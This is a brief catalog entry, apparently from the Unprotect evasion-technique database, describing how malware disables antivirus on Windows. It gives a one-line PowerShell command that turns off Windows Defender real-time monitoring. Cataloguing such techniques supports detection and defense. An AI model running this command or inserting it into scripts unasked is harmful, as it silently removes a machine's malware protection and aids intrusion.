Windows PowerShell / Disabling Antivirus
Author | Unprotect |
Platform | Windows |
Language | PowerShell |
Technique | Disabling Antivirus |
Description:
This command sets the DisableRealtimeMonitoring
parameter in the Windows Defender preferences to true
, effectively disabling the real-time monitoring feature of Windows Defender.
Code
Set-MpPreference -DisableRealtimeMonitoring $true
Created
February 24, 2023
Last Revised
April 22, 2024